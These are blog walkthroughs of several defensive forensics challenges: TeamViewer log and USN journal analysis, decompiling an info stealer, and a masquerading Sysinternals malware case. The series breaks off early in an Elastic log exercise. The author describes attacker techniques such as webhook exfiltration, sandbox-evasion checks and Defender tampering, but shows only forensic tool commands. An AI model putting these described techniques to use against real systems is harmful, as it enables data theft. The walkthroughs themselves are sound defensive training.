Have you ever read a story in the news about a cyber-attack where the bad guys used remote monitoring and management (RMM) software like TeamViewer and wondered how you would investigate unauthorized access if that happened to you? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This blog is a walkthrough of the Team Viewer Forensics challenge from LetsDefend! Team Viewer Forensics is a medium-difficulty DFIR challenge that has us defenders investigating a victim’s TeamViewer log files and then leveraging Eric Zimmerman’s MFTECmd utility to examine the actions taken by the attacker after they gained initial access to the system. By analyzing the artifacts of the file system, we’re going to determine when and how the attacker accessed the system and what they took — fun stuff!

Now let’s put on our detective hats and have some fun with TeamViewer forensics. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/teamviewer-forensics

Challenge Scenario:

During a workday, an employee noticed strange unauthorized activity on his computer, with applications opening and the mouse moving. Quickly realizing that someone was remotely accessing his machine via TeamViewer, the employee acted quickly, changing his TeamViewer password and alerting the security team. However, the employee must still clarify how the breach occurred and how far the threat actor has gone. Your challenge is to unravel this mystery and discover how the intruder gained access and what they did.

Question 1 & 2:

What is the intruder’s username?

&

What is the " # "

user ID" associated with the intruder’s username?

Okay, before we jump into the analysis, let’s ensure that our environment is ready and extract the challenge file from the 7z archive. We’ll see that this is the file structure of the primary (C:) drive from the victim’s device.

Since we know that the victim saw some suspicious activity from the remote monitoring and management application, TeamViewer, let’s start off by looking at the log files generated by this app.

We’ll start by doing some research on the vendor’s support site to determine the locations of the logs:

Find your log files _This article applies to all TeamViewer customers. Sometimes you may be asked to locate your TeamViewer log files and…_www.teamviewer.com

According to TeamViewer log files are available in the C:\Program Files\TeamViewer directory. Let’s navigate to the following path in the challenge file: C\Program Files\TeamViewer

The first log we want to review is the basic " # “Connections_incoming.txt.“Let’s just open this file up in Notepad for analysis.

Awesome! While this is a basic incoming connections log, it contains some valuable information for our investigation — I’ll highlight the relevant columns we’ll need.

The first column is the TeamViewer user ID of the incoming agent connection.
The second column is the username of the incoming connection.
Columns 3€“4 are the start & end times of the connected session.

So, with this information, we can answer Question 1 & 2!

Pro Tip: It’s best to copy and paste the username using the LetsDefend Virtual Machine VNC clipboard. If you’re anything like me, you’ll mix up one and L in the username.

Question 1 — Answered

Question 2 — Answered

Question 3: The attacker has joined more than one time. When did the intruder first access the victim’s machine?

The Connections_incoming.txt log file shows us two different connections. Question 3 seems pretty straightforward to confirm, except for one little detail…

Look at the required answer format for this question:

(yyyy-MM-dd HH:mm:ss.SSS)

This log file doesn’t provide enough information to answer this question, does it? All hope is not lost, though. According to TeamViewer, there is a second logfile called “TeamViewerXX_Logfile.log"Going through the victim’s TeamViewer directory, we’ll stumble on this second log file, " # “TeamViewer15_Logfile.log” —_ this log is much more detailed and contains the technical information we’re looking for.

Let’s open it and do a simple search for the attacker’s user ID that we discovered in Question 2 — this will help us locate the accurate first incoming session timestamp down to the millisecond:

There we go! We found an even more accurate connection time than was available in the Connections_incoming log.

But keep in mind that the challenge wants the timestamp for the incoming session line, not the session encryption negotiation where we see the ID number…

Question 4: What is the " # "

session ID” of the intruder’s second access to the computer?

Now, let’s investigate some information about a second time the victim’s device was accessed. Remember, from the Connections_incoming log we have a rough idea of when the second access attempt was — 04:35:03.

This gives us an idea of where in the logs that we need to search, so let’s keep looking through TeamViewer15_Logfile.log to see what we can find.

Scroll down to in the logs until we find the timestamps for 04:35:03. Once there, look for the connection incoming reference and the sessionID assigned to the new, second session!

Question 5: What was the duration of the second session in seconds.milliseconds?

Now that we have located the sessionID for the second connection in the previous question, we have also found the exact timestamp when the session was established. This gets us halfway to the answer! We’ll just need to find the end of the session to determine how long the attacker was active on the victim’s system.

Again, we have an idea of when the session ended based on what we saw in the Connections_incoming log, but we need to find the session termination event in the TeamViewer15_Logfile.log to get the exact session duration down to the milliseconds.

Going through the logs, we’ll stumble upon a SessionTerminate entry but instead of using the timestamp from this line, let’s go ahead and search for the second session ID, and locate the very last event with this session ID.

This should be the event we are looking for to determine the absolute end time.

The final event for session ID 536169703

Now that we have both the start and end time stamp, it’s time for some math! To recap, the first activity timestamp is 04:35:03.631 and the last activity timestamp is 04:45:11:202.

I’m not a numbers guy, so let’s shift the workload to a date/time calculator to get the results.

Subtract Time Calculator _The Subtract Time Calculator is a useful tool to obtain the mathematical difference when you subtract a time from…_datetimecalculator.net

We’re so close! The last step is to convert this to the answer format for the question: seconds.milliseconds.

So, we just need to convert 10 minutes, 7 seconds to seconds which equals 607. Now put that together with the milliseconds from the calculator and, voila! We have our answer!

Question 6: What is the IP address of the server to which the intruder exfiltrated data?

Okay, now we’ve hit a little dead end — there is no evidence of file exfiltration in the TeamViewer logs. So, we’ll need to pivot and direct our search elsewhere.

Why don’t we start with a review of the PowerShell command history file to see if we can locate any commands the attacker may have run through PowerShell?

about History - PowerShell _Describes how to get and run commands in the command history._learn.microsoft.com

To locate the PowerShell command history log, we’ll need to navigate to the following path within the challenge file:

C\Users\mmox\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Very interesting! We’ve stumbled on some evidence of the attacker’s next moves — archive collected data (T1560) from the Confidential folder into a ZIP file (output.zip) and then two different methods of data exfiltration through web requests to the attacker’s server IP address (T1048)!

Now that we’ve uncovered some of the attacker’s infrastructure, let’s start to evaluate the impact of the attacker’s actions.

Question 7: How many files did the intruder exfiltrate?

From the previous question, we learned that the attacker created an archive of a folder labeled " # “Confidential"but there is no trace of this directory in the challenge file, is there?

So, what can we do to find it? Let’s use the question hint to give us some ideas.

Let’s do some research and learn more about the Journal on an NTFS volume. Below is an excerpt from Velociraptor (another DFIR tool) explaining the USN Journal:

By default Windows maintains a journal of filesystem activities in a file called $Extend$UsnJrnl in a special data stream called $J. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.

Okay, so if we can access the USN Journal of the victim’s device, we might be able to parse and extract some information about the Confidential directory and the files within it.

To do this, we’ll use Eric Zimmerman’s MFTECmd which is part of the Tools folder already in the LetsDefend analysis machine. After we check out the help options, we’ll learn the below syntax to use this utility. Since we are pointing to the $J (journal) file, we’ll also provide the path to the $MFT so we can resolve the parent path as suggested by the help file.

MFTECmd.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C$Extend$J” -m “C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT” –csv C:\Users\LetsDefend\Desktop<name-of-output>.csv

After the utility parses the two files we pointed to and generates the output CSVs, let’s locate the $J_Output.csv. To simplify the analysis, let’s use another of Eric Zimmerman’s installed tools_, Timeline Explorer,_ to open the file.

Since we know from Question 6 that we’re searching for a folder called Confidential, let’s use the search box and type the keyword " # “Confidential.”

Okay, we located the directory with a parent path of \Users\mmox\Documents. So, now we need to discover the files contained within the folder to determine what data was stolen. To accomplish this, take notice of the " # “Entry Number"column that has the number 35740 and copy that value.

Next, we want to remove the keyword filter to see all results, scroll over to the column called " # “Parent Entry Number,“and paste the entry number 35740 into the column. This will filter all entries with the same parent, in this case the " # “Confidential"folder.

We see several entries with intriguing file names but there are also several other entries too with a different path than these files. So, what we are going to do is add a filter by the parent path column of the " # "

secret” files:

And finally, filter the Update Reasons column for FileCreate events. This will leave us with three files from the Confidential folder and filtered only by file creation events! Whew!

After using MFTECmd to parse the USN Journal ($J) file of the victim’s machine, we have determined that the Confidential folder contained three sensitive files that were archived and exfiltrated to the attacker’s infrastructure.

Question 8: When did the intruder delete the confidential data from the system?

Okay, last question for this investigation. After the attacker collected and exfiltrated the data, they deleted the original files from the victim’s system.

To discover when this event occurred, we’ll make a simple change the Timeline Explorer filter from Update Reasons > FileCreate to Update Reasons > File Delete|Close.

This will change our view from when the three confidential files were created to when they were deleted. Now that we have figured out when the files were deleted, we can wrap this investigation!

Conclusion:

Mission accomplished! We have finished our analysis of the TeamViewer connection logs_,_ learned when the attacker connected to the victim’s workstation, and discovered what data was stolen. It’s time to close out this walkthrough of the Team Viewer Forensics challenge!

A big thank you to LetsDefend for this awesome challenge — this was a really exciting lab to work through. I chose this challenge because TeamViewer is such a popular remote monitoring and managing tool and it is really valuable for me to get some hands-on experience analyzing the TeamViewer logs to understand what information they contain. The even cooler part about this challenge was the unexpected pivot to using _MFTECmd t_o analyze the USN Journal. Prior to this challenge, I didn’t know that this file existed and also hadn’t used the MFTECmd utility from Eric Zimmerman’s tools — this was a great introduction to both! While I’m sure this was a basic use case for using MFTECmd, I am really interested in learning more about what forensic artifacts can be uncovered within the journal.

Until next week — stay curious.

Tools & References:

TeamViewer Log Locations: https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Date Time Calculator: https://datetimecalculator.net/subtract-time-calculator

Microsoft Learn (PSReadline): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4

Velociraptor Blog: The Windows USN Journal :: Velociraptor — Digging deeper!

Wikipedia (USN Journal): https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20(Update%20Sequence,changes%20made%20to%20the%20volume.

LetsDefend — DLL Stealer Challenge Walkthrough

Sun, 14 Jul 2024 00:00:00 +0000

LetsDefend — DLL Stealer Challenge Walkthrough

Analyzing DLL Stealer Malware with dotPeek and MITRE ATT&CK

Image Credit: https://app.letsdefend.io/challenge/dll-stealer

Introduction:

Have you ever wanted to try to reverse engineer an info stealer malware sample, see how it works, and determine how it could impact its victim? If this sounds interesting to you, you’ve stumbled on the right blog! Stick around for my weekly walkthrough where we’re going to take on the DLL Stealer challenge from LetsDefend!

DLL Stealer is an introductory malware reverse engineering challenge that has us using JetBrains dotPeek to decompile and analyze an information stealer malware sample. By analyzing the malware, we’re going to determine its capabilities, what data it tries to steal, and how it exfiltrates the information — fun stuff!

To set the stage, malware reverse engineering is not my strongest skill, but practice makes perfect, so we will stumble through this one together and build up our knowledge along the way. That being said, I won’t have as many real-world application tips this time around so instead I’m providing plenty of reference links to MITRE ATT&CK to add some additional context about the tactics, techniques, and procedures (TTPs) used by the malware.

Now let’s put on our detective hats and have some fun with forensics. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/dll-stealer

Challenge Scenario:

You work as a cybersecurity analyst for a major corporation. Recently, your company’s security team detected some suspicious activity on the network. It appears that a new DLL Stealer malware has infiltrated your system, and it’s causing concern due to its ability to exfiltrate critical DLL files from your system.

Question 1: What is the DLL that has the stealer code?

Let’s jump right in and connect to the provided virtual machine and extract the challenge file archive within the ChallengeFile folder.

Typically, it’s a good idea to get familiar with the provided tools so that we have some idea of what’s available to tackle the challenge. Let’s review the Tools folder on the Desktop. Right away, we’ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.

Overview of the Tools folder.

However, since reverse engineering is not my strong suit, we’ll look at question hint as a jumping-off point:

Awesome! This will be my first time using dotPeek. Let’s take a moment to check out the project’s website to understand what it is and take a quick look at the documentation available.

dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.

Get started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for…_www.jetbrains.com

Cool, now that we have done a little research, let’s jump into dotPeek and start the investigation. Open the ChallengeFile folder, right-click the extracted sample, and select " # "

Open With > JetBrains dotPeek."

This will launch dotPeek and load the file. Don’t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node (the one with the sample name) so that we can see the two DLL files contained within the executable:

Colorful
Test-Anitnazim.

Since we need to find the name of the specific DLL that contains the info stealer code, we’ll just start at the top of the list and expand the Colorful node so that we can peek into all the assemblies. We’ll see a few different functions that we need to look through to see if we can discover any malicious code.

After a brief scan of the code, we’ll see evidence of suspicious data staging (T1074.001) and collection (T1005) activity targeting common directories of interest for info stealers like web browser databases, cryptocurrency wallet addresses, online gaming platforms, social media accounts, etc.

Sus.

Scrolling even further to the end of the code, we even see some evidence of data exfiltration (T1048) with the curl command to send the data.

We’ll stop here for now. This is enough evidence to determine that we discovered the DLL that contains the stealer code. Let’s submit our findings to answer Question 1.

Question 2: What is the anti-analysis method used by the malware?

Sometimes, malware performs checks to see if it is being executed in virtual or sandbox environments and will adjust its behavior or terminate to avoid detection by analysts. Question 2 suggests that there is some anti-analysis mechanism our sample, so let’s see if we can find it!

We’ll go back into the assembly explorer in dotPeek, check out the IsVirusTotal(): bool under the C_olorful_ function, and examine the code.

Let’s focus on these interesting lines of code:

It seems that the program tries to detect if it is being analyzed by VirusTotal by using a series of system checks for unique values typically used by the VirusTotal analysis engines during automated scanning including: username, machine name, and download location.

Then, it looks for a true or false value (Boolean) — if the application returns true, the program has determined that is being analyzed by VirusTotal and then the program then ends to evade further analysis.

This is an example of a defense evasion tactic that we touched on earlier (T1497.001) where, according to MITRE ATT&CK:

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

All of that said, since the program seems to check if it is being analyzed by VirusTotal, I think we’ve found the anti-analysis method we are looking for to answer Question 2!

Question 3: What is the full command used to gather information from the system into the " # "

productkey.txt" file?

Now, let’s search the code and see if we can analyze some specific capabilities of the stealer functions. We are going to search for the command that the malware uses to enumerate and collect the victim’s Windows product key.

Fortunately, this is pretty straightforward, and we can simply use the find feature (CTRL+F) in dotPeek to search for the keyword " # “productkey.txt.”

Taking a closer look at the command, this is using the Windows Management Instrumentation Command Line (WMIC) to query the software licensing class for the value containing the Windows product key.

Question 4: What is the full command used to gather information through the " # "

ips.txt" file?

We’ll approach Question 4 the same way we approached the previous question except this time, we will search for “ips.txt.“This will help us locate the output file so that we can see the preceding command.

Once we locate the ips.txt file, we can see that the IP addresses were enumerated through the ipconfig /all command (T1016).

Question 5: What is the webhook used by the malware?

Okay, last question! Remember back in Question 1 that we found some evidence of data being staged for exfiltration? Let’s revisit those lines of code. To speed this process up, let’s leverage dotPeek’s find function again and search for “webhook"to take us to the right location.

This will show us the correct webhook URL to answer Question 5! But, let’s take a moment to understand how this works by referencing MITRE ATT&CK for more context of this technique (T1567.004).

Exfiltration Over Web Service: Exfiltration Over Webhook _Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel…_attack.mitre.org

Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.[1] Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.

To summarize this in the context of this info stealer, after the malware collects the data, it is exfiltrated using curl to send data to the attacker’s Discord server by leveraging Discord’s webhook functionality_._

Now that we have determined the webhook URL, let’s submit the answer and wrap up this investigation!

Conclusion:

There we have it! We have finished our analysis of the DLL Stealer malware, uncovered its functionality, anti-analysis method, targeted data, and the exfiltration method. It’s time for the postmortem report and to close out this walkthrough of the DLL Stealer challenge!

A big thank you to LetsDefend for this awesome challenge! This lab was a fun opportunity to level-up my reverse engineering skills and introduce me to the dotPeek tool. I appreciate that this challenge was on the shorter side but got me really interested in analyzing and interpreting the malware sample. By referencing MITRE ATT&CK throughout this walkthrough I was able to really dive in, engage with, and understand the challenge beyond the required questions. I hope that you found it valuable and had as much fun as I did learning something new, too!

And hey, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week — stay curious.

Tools & References:

JetBrains dotPeek: https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html

MITRE ATT&CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/

MITRE ATT&CK (T1005 — Data from Local System): https://attack.mitre.org/techniques/T1005/

MITRE ATT&CK (T1048 — Exfiltration Over Alternative Protocol): https://attack.mitre.org/techniques/T1048/

curl: https://curl.se/docs/manpage.html

VirusTotal: https://www.virustotal.com/

Wikipedia — Boolean Definition: https://en.wikipedia.org/wiki/Boolean_data_type

MITRE ATT&CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK (T1016 — System Network Configuration Discovery): https://attack.mitre.org/techniques/T1016/

MITRE ATT&CK (T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook): https://attack.mitre.org/techniques/T1567/004/

CyberDefenders — SysInternals Blue Team Lab Walkthrough

Sun, 07 Jul 2024 00:00:00 +0000

CyberDefenders — SysInternals Blue Team Lab Walkthrough

Endpoint Forensic Investigation of Masquerading Malware using Autopsy, Eric Zimmerman’s Tools, and VirusTotal

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/

Introduction:

Welcome to my weekly walkthrough! Are you curious about investigating a malware incident from a forensic disk image? Well you’re in luck — we’re about to tackle the Sysinternals challenge from CyberDefenders!

Sysinternals is a digital forensics and incident response (DFIR) challenge where we will analyze the artifacts of a malware infection from a forensic disk image and gather intelligence on first and second stage executables.

You might be asking yourself " # "

wait, isn’t Sysinternals legitimate_?“and you’d be right! If you don’t know Sysinternals is a fantastic, and not malicious, suite of tools provided by Microsoft. Unfortunately, the victim in this scenario thought they were getting the legitimate tool from Microsoft but instead downloaded and executed some malware masquerading as the legitimate Sysinternals — not good!

To figure out what happened, we’re going to use quite a few utilities from Eric Zimmerman’s tools, Autopsy, and VirusTotal. So, if this sounds interesting to you, you’ve stumbled on the right blog!

In the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this! Now let’s put on our detective hats and have some fun with forensics!

Thanks for reading along!

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/

Challenge Scenario:

A user thought they were downloading the SysInternals tool suite and attempted to open it, but the tools did not launch and became inaccessible. Since then, the user has observed that their system has gradually slowed down and become less responsive.

As a soc analyst, analyze the artifacts and answer the questions.

Question 1: What was the malicious executable file name that the user downloaded?

Let’s start by unzipping the challenge file; within the archive we have an Encase (E01) forensic image file. This time around, the challenge suggests a couple of tools that are available to open this file type including FTK Imager and Sleuthkit Autopsy. For this walkthrough, I chose to use Autopsy.

Let’s kick off this investigation and launch Autopsy, open a new case, load the challenge file image as the data source, and run the default ingest module options.

After the data source is processed, we’ll be able to browse through the victim’s device image.

Since the user mentioned that they tried to download the Sysinternals suite, we can start by checking out the Downloads folders in the User directory to see if it contains any artifacts that will help us answer Question 1.

After browsing the Downloads folders, we’ll stumble on an interesting binary, Sysinternals.exe, in the Public downloads folder. Based on the information provided by the user, this seems likely to be the malicious executable we are looking for masquerading as the legitimate Microsoft Sysinternals.

Question 2: When was the last time the malicious executable file was modified? 12-hour format

Since we have a changed time for the suspicious file in the listing pane, this seems like it will be straightforward, but unfortunately, it’s not that simple. Let’s get creative and approach this another way. Another tool suggested for this challenge is AppCompatCacheParser, a utility that is part of the excellent Eric Zimmerman’s tool suite.

Now for some background! The Application Compatibility Cache (AppCompatCache) is used in Windows-based systems to track compatibility with older apps in newer versions of Windows. At first glance, this doesn’t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, according to this Google blog post, the AppCompatCache:

…Stores various file metadata depending on the operating system, such as:

File Full Path

File Size

$Standard_Information (SI) Last Modified time

Shimcache Last Updated time

Process Execution Flag

Okay! Now we’re getting somewhere. So now we just need to figure out how to access this cache. Fortunately, I stumbled across a helpful blog post from SANS which describes this process in some detail:

The first part of conducting ShimCache Analysis is pulling all of the SYSTEM hives from all of machines on the network.

So, putting all of this together, we just need to jump back into Autopsy, extract the SYSTEM registry hive, and parse it with AppCompatParser.

We’ll find the SYSTEM hive in Windows/System32/config — from here we can use Autopsy to extract the file.

Once the file is extracted, we can use the following syntax to parse the file with AppCompatCacheParser with the Windows command prompt.

AppCompatCacheParser.exe -f “PATH-TO-SYSTEM-HIVE” –csv “PATH-TO-OUTPUT-FILE.csv”

Finally, we can check the output and search for " # “sysinternals”— this will show us the Last Modified Time!

Note: For the purposes of this challenge, I am using Eric Zimmerman’s Timeline Explorer, but you can use any CSV viewer that you’d like.

Now before we try inputting this answer, pay special attention to the challenge question — it is looking for the 12-hour format, not the 24-hour time we got from the output.

Question 3: What is the SHA1 hash value of the malware?

Now, we need to get the SHA1 file hash of the malicious Sysinternals.exe.

The original plan was to simply extract the file from the Downloads folder, but the file hash didn’t match what the challenge was looking for — so we’ll need a new plan.

Let’s return to the SANS blog that we referenced in the previous question. Scrolling down to the bottom, there is a link describing the next article in the series which covers something relevant for what we need to tackle Question 3 — the Amcache.

Mass Triage Part 5: Processing Returned Files - Amcache _The Amcache.hve file contains information on the executables that were executed on the system. Yogesh Khatri’s blog…_www.sans.org

Let’s check out what the Amcache is all about. According to the blog entry, " # “the Amcache.hve file contains information on the executables that were executed on the system"and " # "

t_he following fields: full path and SHA1 hash.“To do this, we will use another of Eric Zimmerman’s tools, AmcacheParser. But first, we need to extract the Amcache registry hive (Amcache.hve) from the image using Autopsy.

The A_mcache.hve_ is in Windows/appcompat/Programs/Amcache.hve — let’s extract it and parse it!

AmcacheParser.exe -f “PATH-TO-SYSTEM-HIVE\Amcache.hve” –csv PATH-TO-OUTPUT-FILE.csv

In the output directory we’ll have several files, but we want to focus on Amcache_UnassociatedFileEntries.csv. Once it opens, we’ll _s_earch for " # “sysinternals"which provides us with a handy column with the SHA1 hash of the executable!

Question 4: What is the malware’s family?

Okay! Now that we have found the SHA1 hash of the malware binary, let’s gather some additional intelligence and do some research with VirusTotal so that we can better understand what we are dealing with.

To answer Question 4, we’re going to focus on the family labels for this binary. There are a couple of labels, but we are looking at the third one (at the time of this writing) to answer the question.

Hint: If the family label has changed, check the detection name from Alibaba on VirusTotal.

Question 5: What is the first mapped domain’s Fully Qualified Domain Name (FQDN)?

Now, let’s stick with VirusTotal and pivot over to the Relations tab so that we can see further details of the analysis including the contacted URLs:

After examining the list, only one of these sticks out as suspicious both in the domain name and the number of detection hits. Let’s enter the first contacted URL’s FQDN and move on to Question 6!

Question 6: The mapped domain is linked to an IP address. What is that IP address?

Well, I thought Question 6 would be simple to discover using VirusTotal or through reverse DNS lookups but neither of these options worked. So, let’s turn to the challenge hint for a thread to follow!

Interesting! The hint is pointing us to the PowerShell command history file.

about History - PowerShell _Describes how to get and run commands in the command history._learn.microsoft.com

Let’s return to our Autopsy case and see what we can discover by navigating to the file path.

Contents of the PowerShell Command History

Immediately, we see that PowerShell history shows some suspicious commands tampering with Windows Defender. At the bottom of the command history, we can also see that one IP address was added to the Windows hosts file with two different hostnames, the legitimate Sysinternals domain and the malicious one that we found in Question 5. After this modification, both URLs would resolve to the same IP address…

Let’s confirm this by checking the Windows hosts file in the image. You can navigate to it by following the path in the image below:

The victim’s Windows hosts file.

Okay, now that we have seen the information in two places let’s submit our answer and move forward with the investigation.

Question 7: What is the name of the executable dropped by the first-stage executable?

Let’s jump back over to our VirusTotal session to continue with our analysis.

This time, we are going to click the Behavior tab and scroll down to the Process and service actions section so we can focus on the Process Tree for the malware binary that we found in Question 1.

There’s something interesting here — the process tree for the malware binary spawns the Windows command prompt (cmd.exe) and runs an executable file which installs and starts a service, then sets it to automatically start.

The executable file is the " # "

dropped file” that we are looking for to answer Question 7!

Question 8: What is the name of the service installed by 2nd stage executable?

Fortunately, from our research for the previous question with VirusTotal we already discovered the installed service information.

This tactic could be used by a bad actor for Execution, Persistence, or Privilege Escalation within a victim environment. For further reading, I’m including some additional information on these techniques from MITRE ATT&CK if you’d like to know more — fun stuff!

MITRE ATT&CK — System Services: Service Execution (T1569.002)

MITRE ATT&CK — Create or Modify System Process: Windows Service (T1543.003)

Let’s review it again and check our work.

Question 9: What is the extension of files deleted by the 2nd stage executable?

Okay, we’ve made it to the last question for our investigation! Let’s go ahead with some static analysis of the 2nd stage executable that we discovered in Question 7.

From VirusTotal we learned that the binary was executed from the Windows folder. Since we know the file path now, why don’t we try to extract the file from the victim’s image using Autopsy so that we can analyze it?

Extracting the 2nd stage executable with Autopsy

Navigate to the Windows folder with Autopsy, right-click and extract the file.

Now that we have our sample, we can start at a high-level and parse the strings stored in the malware.

For some quick background if you are unfamiliar: strings are pieces of data that store information in an application. So, if we are analyzing an application or some code, being able to extract strings can help us as defenders to understand a program’s intent or functionality and could reveal interesting artifacts like IP addresses, URLs, commands, credentials, etc.

While there are a couple of ways we can approach this, we are going to serve poetic justice and leverage the legitimate Sysinternals Strings utility to perform the analysis.

Strings - Sysinternals _Search for ANSI and UNICODE strings in binary images._learn.microsoft.com

Now that we have the Sysinternals Strings downloaded, open the Windows terminal (Command Prompt or PowerShell), and run strings.exe against the 2nd stage executable that we extracted from Autopsy. For this write-up, I also directed the output to a .txt file for easier analysis.

.\strings.exe “PATH-TO-2ND-STAGE-EXPORT” > “PATH-TO-OUTPUT-FILE”

PowerShell syntax to run Strings.exe

As a starting point, let’s search the output file. We’ll use the installed service name that we found in Question 8 to get us closer to the functions that we want to analyze.

Hey, we already found something interesting — a wildcard string for a specific file extension.

This is a good lead, so let’s pivot back over to VirusTotal so that we can confirm our findings and see if we can discover any file deletion behavior. But first, we need to grab the file hash of the executable that we carved from Autopsy.

Let’s just jump into PowerShell and do a simple get-filehash to get the SHA256 hash of this file so that we can check VirusTotal again.

Navigate to the Behavior tab > File System Actions > Files Deleted.

Looking through the VirusTotal report, we see file deletion activity with the same extension that we discovered using Strings. For the purposes of this challenge, we have double-confirmation and high confidence that this is the answer Question 9.

Conclusion:

Mission complete! We successfully completed the listed objectives and analyzed the artifacts on the victim’s system to get through the SysInternals challenge! It’s time for the after postmortem report and to close this case!

A big thank you to CyberDefenders.org for hosting this awesome lab! This lab was more challenging than I expected, and the variety of tools needed to solve the challenges kept me engaged throughout. For my own knowledge gaps and practice, the questions that leveraged Eric Zimmerman’s AmcacheParser and AppCompatCacheParser were extremely valuable. These tools were new to me, but I’ll definitely be adding these to my toolbox going forward.

I hope that you had as much fun as I did and learned something new, too!

Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!

Tools & References:

Microsoft Sysinternals: https://learn.microsoft.com/en-us/sysinternals/

Sleuthkit Autopsy: https://github.com/sleuthkit/autopsy

MITRE ATT&CK (T0849): https://attack.mitre.org/techniques/T0849/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Google Cloud Blog (AppCompatCache): https://cloud.google.com/blog/topics/threat-intelligence/caching-out-the-val

SANS AppCompatCache Blog Post: https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/

SANS Amcache Blog Post: https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/

Microsoft Learn (PSReadline): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4

VirusTotal (1st Stage Executable): https://www.virustotal.com/gui/file/72e6d1728a546c2f3ee32c063ed09fa6ba8c46ac33b0dd2e354087c1ad26ef48/detection

MITRE ATT&CK (T1569.002): https://attack.mitre.org/techniques/T1569/002/

MITRE ATT&CK (T1543.003): https://attack.mitre.org/techniques/T1543/003/

SysInternals — Strings: https://learn.microsoft.com/en-us/sysinternals/downloads/strings

VirusTotal (2nd Stage Executable): https://www.virustotal.com/gui/file/5b01cca415277e5fb0c454690142b9b4029a1566938875497d2f0593db555270/detection

TryHackMe — ItsyBitsy Challenge Walkthrough

Sun, 23 Jun 2024 00:00:00 +0000

TryHackMe — ItsyBitsy Challenge Walkthrough

Incident Response Challenge using the Elastic Stack

Image Credit: https://tryhackme.com/r/room/itsybitsy

Introduction:

Welcome to my weekly walkthrough!

Are you curious about investigating incidents using the Elastic (ELK) stack? Well you’re in luck — we’re about to tackle the ItsyBitsy challenge from TryHackMe!

ItsyBitsy is a DFIR challenge where we will analyze the HTTP network connection logs captured from a device. The not great news is that this device was making some suspicious network calls to a potential command and control server. To figure out what happened, we’ll use the Kibana module within the Elastic Stack to search the through logs, visualize the data, and determine what was downloaded.

But first, a high-level infographic of where Kibana fits into the Elastic Stack:

Image Credit: https://tryhackme.com/r/room/investigatingwithelk101

Want more? Go check out the full Investigating with ELK 101 room on TryHackMe which covers the ELK stack fundamentals in much more detail.

So, whether you’re here to learn more about investigating with Elastic, or are just looking for a reference walkthrough for the ItsyBitsy challenge, you’ve stumbled on the right blog. In the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this!

Now let’s put on our detective hats and have some fun with forensics!

Thanks for reading along!

Challenge Link: https://tryhackme.com/r/room/itsybitsy

Challenge Scenario:

During normal SOC monitoring, Analyst John observed an alert on an IDS solution indicating a potential C2 communication from a user Browne from the HR department. A suspicious file was accessed containing a malicious pattern THM:{ ________ }. A week-long HTTP connection logs have been pulled to investigate. Due to limited resources, only the connection logs could be pulled out and are ingested into the connection_logs index in Kibana.

Our task in this room will be to examine the network connection logs of this user, find the link and the content of the file, and answer the questions.

Question 1: How many events were returned for the month of March 2022?

First things first, we’ll enter the Elastic web console and then navigate to the Kibana > Discover Analytics module. Kibana is used to search logs and visualize them, so using the Discover module will enable us to query and explore the provided network connection_logs index_._

To access the Discover tab, we can either input “discover” into the search box at the top of the dashboard or use the menu on the left-hand sidebar.

For Question 1, our objective is to narrow the search scope to a single month. To do this, we will need to adjust the time filter so that we can focus only on the events that occurred in March of 2022. Let’s modify the dates in the time selection field.

We’ll filter the first date/time to Absolute and set the start date to March 1, 2022, at 0:00 and then the end date to March 31, 2022, at 23:30. This selection should give us the entire month of March 2022.

Once we apply the date/time filter, we’ll see our results displayed as a total number of hits and now we have some data to analyze and the answer to Question 1.

Total Hits

Question 2: What is the IP associated with the suspected user in the logs?

